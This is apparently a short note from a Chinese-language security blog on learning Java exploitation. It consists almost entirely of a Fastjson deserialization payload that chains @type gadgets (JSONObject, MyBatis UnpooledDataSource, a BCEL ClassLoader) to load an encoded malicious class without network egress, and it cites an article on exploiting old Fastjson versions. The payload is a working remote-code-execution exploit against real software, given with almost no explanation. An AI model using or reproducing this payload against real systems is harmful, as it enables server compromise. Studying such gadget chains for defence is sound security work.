{"friend":{ "@type": "com.alibaba.fastjson.JSONObject","name": {"@type": "java.lang.Class","val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"}},"x":{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","x": {"x":{{"@type": "com.alibaba.fastjson.JSONObject","c": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader": {"$ref": ".." },"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$ddN$h1$Q$85$8f$93$F$c36$U$I$3f$fd$_$BZ$I$m$c8M$ef$82P$R$C$vR$g$aa$s$82k$c7$98$c4$c8$d8$d1$ae7$e2$b5$b8$81$aa$X$3c$A$PUu$i$w$b2R$bb$96$f6h$ce$7c$c7$b3$9a$7d$fc$fd$eb$B$c0$Xl$c6$98$c4r$8cWx$3d$857A$dfr$bc$e3x$cf0$b9$af$ad$f6$H$M$c5$ea$d6$ZCt$e4$$$U$c3lS$5b$d5$ca$ae$bb$w$e9$88$ae$n$a7$dctR$983$91$e8P$ff5$p$df$d7$v$dd$d1$3c$kjSg$88$8fo$a4$gx$edl$ca$f1$81$e3$p$c7$KG$85c$95zm$97$rR$9d$e8$Q$9c$O$81$bd$x1$U$rpLq$ac$95$b0$8eO$M$cbn$a0leWTh$98$cc$8c$f0$$$d9$T$83A$J$9f$b1A$f3B$8ca$$$EkF$d8$5e$ed$b4$7b$a5$a4gX$YY$da$d5$g$a7$cf$df$c0P$Z$83GF$a4i$cb$f9$T$97$d9$8b$i$b22FZ$ae$9d$c9$fe7$e5$fb$$O$ec$8c$89D$5d$g$gWk$d8$nm$p$b4$3b$o$e9$v$ff$ff$91$NcTO$98C$vU$9a$e6$90$f91$f2$p$b3$5e_$d3Bb$ba$e5$b9X$aan5$ffah$bd$91$baQ$92a$b3$9a$eb$b6$7d$a2m$af$9e$P$7cO$5c$98X$c7$w$s$e8$bf$87$87$d1$a1$3d$a3$80i$aa$be$922$d2$97$db$f7$60$3fQ$u$X$ef$Q$9d$df$92S$40$i$7c$U$e9$3d$8b$I$f3$98A$Z$_$a8$w$3d$rHgF$g$9c$Jb$e6$88$vc$81$ba$8b$a3$fc$d2$l$aa$ee$90$ebu$C$A$A"}}:"x"}},}},"username":"a","password":"b"}

Java安全攻防之老版本Fastjson的一些不出网利用 (qq.com)


跟着Y4tacker学java
https://zer0peach.github.io/2023/09/18/跟着Y4tacker学java/
作者
Zer0peach
发布于
2023年9月18日
许可协议